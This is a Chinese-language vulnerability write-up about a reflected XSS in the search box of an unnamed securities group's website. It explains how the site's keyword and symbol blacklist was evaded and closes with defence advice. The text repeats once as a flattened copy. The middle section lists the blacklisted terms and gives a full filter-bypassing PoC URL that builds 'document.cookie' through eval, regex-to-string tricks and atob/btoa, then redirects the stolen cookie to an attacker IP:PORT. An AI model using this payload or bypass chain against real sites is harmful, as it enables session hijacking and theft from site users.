某证券集团网站一处反射型XSS绕过与利用
字数 1411 2025-08-29 08:31:48

反射型XSS绕过与利用技术详解

漏洞背景

本文档详细分析某证券集团网站反射型XSS漏洞的发现、绕过和利用过程,重点介绍在黑名单过滤机制下的突破方法。

漏洞发现过程

1. 回显点确认

在网站搜索功能处进行测试:

  • 搜索任意字符串后检查元素,发现存在直接回显
  • 尝试闭合DIV标签:</div><script>alert(1)</script><div>
  • 闭合成功,但系统仍返回两篇文章,表明存在无害性检测机制

2. 黑名单排查

通过逐一测试,确认以下关键词被过滤(大小写无关):

  • JS相关script, alert, document, confirm, string, fromcharcode, onerror, window, cookie
  • 符号相关:单引号(')、双引号(")、加号(+)、分号(;)

测试案例:

  • `` → 无响应(document和引号被过滤)
  • `` → 无响应(string, fromCharCode, onerror被过滤)

绕过技术详解

1. 选择合法元素

由于<script>和``相关属性被限制,选择<svg>标签配合onload事件:

  • <svg/onload=JS代码>
  • onload属性后只能接一个函数才能正常解析

2. 执行函数选择

发现eval未被过滤,可用于执行构造的JS代码:

  • eval可以执行字符串形式的JS代码
  • 但需要解决字符串构造问题(引号和String被过滤)

3. 字符串构造方法

创新性地使用正则表达式对象和字符串处理方法:

  1. 正则表达式对象如/XSS/本身不是字符串,但调用toString()后变为"/XSS/"
  2. 由于String被过滤,使用sliceconcat方法处理:
    • /http:/.slice(1) → "http:/"
    • .concat(/IP:PORT/) → 连接字符串
  3. 使用btoaatob进行Base64编码解码绕过字符串检测

4. 关键突破点

  • sliceconcat未被过滤
  • 正则表达式对象可作为字符串替代
  • Base64编码函数可用
  • eval可用

完整PoC构造

?keyword=%3Csvg/onload=location.href=atob(btoa(/http:/)).slice(1).concat(/IP:PORT/).concat(eval(atob(btoa(/docum/)).slice(1,-1).concat(atob(btoa(/ent.cookie/)).slice(1,-1))))%3E

解码后相当于:

<svg/onload=location.href=atob(btoa(/http:/)).slice(1).concat(/IP:PORT/).concat(eval(atob(btoa(/docum/)).slice(1,-1).concat(atob(btoa(/ent.cookie/)).slice(1,-1))))>

工作原理:

  1. 构造URL:http://IP:PORT
  2. 构造document.cookie字符串:
    • atob(btoa(/docum/)).slice(1,-1)"docum"
    • atob(btoa(/ent.cookie/)).slice(1,-1)"ent.cookie"
    • 连接后得到"document.cookie"
  3. 通过eval执行获取cookie并发送到攻击者服务器

防御建议

  1. 避免依赖黑名单:黑名单总有遗漏,无法全面防御
  2. 输出编码:在回显处对用户输入进行HTML实体编码
  3. 内容安全策略(CSP):实施严格的CSP策略
  4. 输入验证:对输入数据进行严格验证
  5. 使用安全框架:利用现代框架的自动编码功能

技术总结

本案例展示了在黑名单过滤机制下如何通过:

  1. 选择未被过滤的HTML元素和事件
  2. 利用JS类型转换特性构造字符串
  3. 组合使用未被过滤的字符串处理方法
  4. 通过编码转换绕过关键词检测
  5. 最终实现任意JS代码执行

这种绕过方式具有很高的技术价值,展示了XSS防御的复杂性和黑名单方法的局限性。

反射型XSS绕过与利用技术详解 漏洞背景 本文档详细分析某证券集团网站反射型XSS漏洞的发现、绕过和利用过程,重点介绍在黑名单过滤机制下的突破方法。 漏洞发现过程 1. 回显点确认 在网站搜索功能处进行测试: 搜索任意字符串后检查元素,发现存在直接回显 尝试闭合DIV标签: </div><script>alert(1)</script><div> 闭合成功,但系统仍返回两篇文章,表明存在无害性检测机制 2. 黑名单排查 通过逐一测试,确认以下关键词被过滤(大小写无关): JS相关 : script , alert , document , confirm , string , fromcharcode , onerror , window , cookie 符号相关 :单引号( ' )、双引号( " )、加号( + )、分号( ; ) 测试案例: `` → 无响应(document和引号被过滤) `` → 无响应(string, fromCharCode, onerror被过滤) 绕过技术详解 1. 选择合法元素 由于 <script> 和 ``相关属性被限制,选择 <svg> 标签配合 onload 事件: <svg/onload=JS代码> onload 属性后只能接一个函数才能正常解析 2. 执行函数选择 发现 eval 未被过滤,可用于执行构造的JS代码: eval 可以执行字符串形式的JS代码 但需要解决字符串构造问题(引号和String被过滤) 3. 字符串构造方法 创新性地使用正则表达式对象和字符串处理方法: 正则表达式对象如 /XSS/ 本身不是字符串,但调用 toString() 后变为 "/XSS/" 由于 String 被过滤,使用 slice 和 concat 方法处理: /http:/ .slice(1) → "http:/" .concat(/IP:PORT/) → 连接字符串 使用 btoa 和 atob 进行Base64编码解码绕过字符串检测 4. 关键突破点 slice 和 concat 未被过滤 正则表达式对象可作为字符串替代 Base64编码函数可用 eval 可用 完整PoC构造 解码后相当于: 工作原理: 构造URL: http://IP:PORT 构造 document.cookie 字符串: atob(btoa(/docum/)).slice(1,-1) → "docum" atob(btoa(/ent.cookie/)).slice(1,-1) → "ent.cookie" 连接后得到 "document.cookie" 通过 eval 执行获取cookie并发送到攻击者服务器 防御建议 避免依赖黑名单 :黑名单总有遗漏,无法全面防御 输出编码 :在回显处对用户输入进行HTML实体编码 内容安全策略(CSP) :实施严格的CSP策略 输入验证 :对输入数据进行严格验证 使用安全框架 :利用现代框架的自动编码功能 技术总结 本案例展示了在黑名单过滤机制下如何通过: 选择未被过滤的HTML元素和事件 利用JS类型转换特性构造字符串 组合使用未被过滤的字符串处理方法 通过编码转换绕过关键词检测 最终实现任意JS代码执行 这种绕过方式具有很高的技术价值,展示了XSS防御的复杂性和黑名单方法的局限性。